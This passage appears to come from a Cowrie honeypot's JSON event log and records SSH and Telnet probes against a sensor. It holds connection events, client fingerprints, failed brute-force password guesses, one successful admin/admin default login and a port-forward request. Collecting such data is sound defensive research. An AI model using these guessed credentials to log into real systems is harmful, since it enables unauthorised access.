25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:53.383170Z","src_ip":"37.143.61.130","session":"cd2f02c9a85e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.26737976074219,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:53.433697Z","src_ip":"209.126.87.217","session":"82b6ec5ffc5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.20399260520935,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:53.727782Z","src_ip":"209.126.87.217","session":"6f1608aceec6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server123!@#","message":"login attempt [root/Server123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:53.904252Z","src_ip":"37.143.61.130","session":"cd2f02c9a85e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:55.088084Z","src_ip":"37.143.61.130","session":"cd2f02c9a85e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"admin","message":"login attempt [testuser/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:56.633742Z","src_ip":"45.43.86.48","session":"7c6e195b70b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:57.782483Z","src_ip":"45.43.86.48","session":"7c6e195b70b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":47284,"dst_ip":"159.203.135.109","dst_port":23,"session":"00dbcf2963e1","protocol":"telnet","message":"New connection: 209.126.87.217:47284 (159.203.135.109:23) [session: 00dbcf2963e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:58.330475Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":47296,"dst_ip":"159.203.135.109","dst_port":23,"session":"647a910e22c5","protocol":"telnet","message":"New connection: 209.126.87.217:47296 (159.203.135.109:23) [session: 647a910e22c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:58.496369Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":52296,"dst_ip":"159.203.135.109","dst_port":23,"session":"bcdb582a7a31","protocol":"telnet","message":"New connection: 209.126.87.217:52296 (159.203.135.109:23) [session: bcdb582a7a31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:23:02.395838Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":53778,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7bda457166d","protocol":"telnet","message":"New connection: 139.162.207.207:53778 (10.17.0.5:23) [session: a7bda457166d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:23:03.975459Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":52312,"dst_ip":"159.203.135.109","dst_port":23,"session":"e566d93fd0cc","protocol":"telnet","message":"New connection: 209.126.87.217:52312 (159.203.135.109:23) [session: e566d93fd0cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:23:06.812269Z"}
{"eventid":"cowrie.session.closed","duration":40.54137372970581,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:23:09.061589Z","src_ip":"139.162.207.207","session":"bd58d81f484b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55860,"dst_ip":"159.203.135.109","dst_port":22,"session":"49870457d29c","protocol":"ssh","message":"New connection: 159.203.92.129:55860 (159.203.135.109:22) [session: 49870457d29c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:23:10.012338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:23:10.017201Z","src_ip":"159.203.92.129","session":"49870457d29c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:23:10.022356Z","src_ip":"159.203.92.129","session":"49870457d29c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"Yzx99127","message":"login attempt [ansible/Yzx99127] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:23:10.033957Z","src_ip":"159.203.92.129","session":"49870457d29c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:23:11.043698Z","src_ip":"159.203.92.129","session":"49870457d29c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":39766,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9497be570d8","protocol":"telnet","message":"New connection: 139.162.207.207:39766 (10.17.0.5:23) [session: f9497be570d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:23:13.140556Z"}
{"eventid":"cowrie.session.closed","duration":30.917073011398315,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:23:15.723222Z","src_ip":"147.185.132.168","session":"3ef2581c6791","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":55866,"dst_ip":"10.17.0.5","dst_port":23,"session":"c180b7a55c64","protocol":"telnet","message":"New connection: 139.162.207.207:55866 (10.17.0.5:23) [session: c180b7a55c64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:23:15.892206Z"}
{"eventid":"cowrie.session.closed","duration":34.76008367538452,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:23:16.612742Z","src_ip":"209.126.87.217","session":"814dd96629e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.71880030632019,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:23:21.482230Z","src_ip":"209.126.87.217","session":"b4c8a50ddba1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":46994,"dst_ip":"159.203.135.109","dst_port":23,"session":"a80b55d8b2ec","protocol":"telnet","message":"New connection: 209.126.87.217:46994 (159.203.135.109:23) [session: a80b55d8b2ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:23:21.855343Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":44914,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab88a0f6e558","protocol":"telnet","message":"New connection: 139.162.207.207:44914 (10.17.0.5:23) [session: ab88a0f6e558]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:23:24.644488Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":44922,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ca62166ae71","protocol":"telnet","message":"New connection: 139.162.207.207:44922 (10.17.0.5:23) [session: 5ca62166ae71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:23:29.349700Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":46998,"dst_ip":"159.203.135.109","dst_port":23,"session":"caa904b0c9fd","protocol":"telnet","message":"New connection: 209.126.87.217:46998 (159.203.135.109:23) [session: caa904b0c9fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:23:29.387355Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":44930,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9e2978acafc","protocol":"telnet","message":"New connection: 139.162.207.207:44930 (10.17.0.5:23) [session: b9e2978acafc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:23:30.029161Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":41126,"dst_ip":"159.203.135.109","dst_port":23,"session":"00caba5d80ac","protocol":"telnet","message":"New connection: 209.126.87.217:41126 (159.203.135.109:23) [session: 00caba5d80ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:23:30.567346Z"}
{"eventid":"cowrie.session.closed","duration":32.4674277305603,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:23:30.797783Z","src_ip":"209.126.87.217","session":"00dbcf2963e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.81017446517944,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:23:30.859029Z","src_ip":"139.162.207.207","session":"a15f54e70fef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":44946,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2ffc9e6c471","protocol":"telnet","message":"New connection: 139.162.207.207:44946 (10.17.0.5:23) [session: d2ffc9e6c471]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:23:31.556101Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":39892,"dst_ip":"10.17.0.5","dst_port":22,"session":"08c95878af55","protocol":"ssh","message":"New connection: 87.251.64.176:39892 (10.17.0.5:22) [session: 08c95878af55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:23:32.185836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:23:32.190420Z","src_ip":"87.251.64.176","session":"08c95878af55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:23:32.286489Z","src_ip":"87.251.64.176","session":"08c95878af55","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:23:32.574545Z","src_ip":"87.251.64.176","session":"08c95878af55","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:23:32.673411Z","session":"08c95878af55","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:23:32.770057Z","src_ip":"87.251.64.176","session":"08c95878af55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:23:32.868060Z","src_ip":"87.251.64.176","session":"08c95878af55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.505160093307495,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:23:33.001402Z","src_ip":"209.126.87.217","session":"647a910e22c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":41128,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa60a47b1f1d","protocol":"telnet","message":"New connection: 209.126.87.217:41128 (159.203.135.109:23) [session: aa60a47b1f1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:23:35.075444Z"}
{"eventid":"cowrie.session.closed","duration":33.866411447525024,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:23:36.262141Z","src_ip":"209.126.87.217","session":"bcdb582a7a31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.82288479804993,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:23:42.635023Z","src_ip":"209.126.87.217","session":"e566d93fd0cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":52436,"dst_ip":"159.203.135.109","dst_port":23,"session":"300b7ef80040","protocol":"telnet","message":"New connection: 209.126.87.217:52436 (159.203.135.109:23) [session: 300b7ef80040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:23:42.715846Z"}
{"eventid":"cowrie.session.closed","duration":41.68948435783386,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:23:45.664854Z","src_ip":"139.162.207.207","session":"a7bda457166d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":37538,"dst_ip":"10.17.0.5","dst_port":23,"session":"36fe74dbcebf","protocol":"telnet","message":"New connection: 139.162.207.207:37538 (10.17.0.5:23) [session: 36fe74dbcebf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:23:49.355728Z"}
{"eventid":"cowrie.session.closed","duration":37.195446491241455,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:23:53.087483Z","src_ip":"139.162.207.207","session":"c180b7a55c64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36176,"dst_ip":"159.203.135.109","dst_port":22,"session":"44522b12c3cc","protocol":"ssh","message":"New connection: 159.203.92.129:36176 (159.203.135.109:22) [session: 44522b12c3cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:23:53.264028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:23:53.269041Z","src_ip":"159.203.92.129","session":"44522b12c3cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:23:53.273667Z","src_ip":"159.203.92.129","session":"44522b12c3cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ZAQ!xsw21qazZAQ!","message":"login attempt [ansible/ZAQ!xsw21qazZAQ!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:23:53.284860Z","src_ip":"159.203.92.129","session":"44522b12c3cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:23:54.290397Z","src_ip":"159.203.92.129","session":"44522b12c3cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":47766,"dst_ip":"159.203.135.109","dst_port":23,"session":"c462475ca68a","protocol":"telnet","message":"New connection: 209.126.87.217:47766 (159.203.135.109:23) [session: c462475ca68a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:23:54.638893Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":36418,"dst_ip":"10.17.0.5","dst_port":23,"session":"4388d75e4213","protocol":"telnet","message":"New connection: 139.162.207.207:36418 (10.17.0.5:23) [session: 4388d75e4213]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:23:55.346165Z"}
{"eventid":"cowrie.session.closed","duration":42.780251264572144,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:23:55.920685Z","src_ip":"139.162.207.207","session":"f9497be570d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":47772,"dst_ip":"159.203.135.109","dst_port":23,"session":"64c1dc6226d7","protocol":"telnet","message":"New connection: 209.126.87.217:47772 (159.203.135.109:23) [session: 64c1dc6226d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:23:57.005058Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":36424,"dst_ip":"10.17.0.5","dst_port":23,"session":"83f580957daf","protocol":"telnet","message":"New connection: 139.162.207.207:36424 (10.17.0.5:23) [session: 83f580957daf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:23:57.252233Z"}
{"eventid":"cowrie.session.closed","duration":35.58512353897095,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:23:57.440338Z","src_ip":"209.126.87.217","session":"a80b55d8b2ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.94460368156433,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:23:57.588967Z","src_ip":"139.162.207.207","session":"ab88a0f6e558","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":36434,"dst_ip":"10.17.0.5","dst_port":23,"session":"d934de489d2e","protocol":"telnet","message":"New connection: 139.162.207.207:36434 (10.17.0.5:23) [session: d934de489d2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:00.107544Z"}
{"eventid":"cowrie.session.closed","duration":32.29092788696289,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:01.678177Z","src_ip":"209.126.87.217","session":"caa904b0c9fd","protocol":"telnet"}
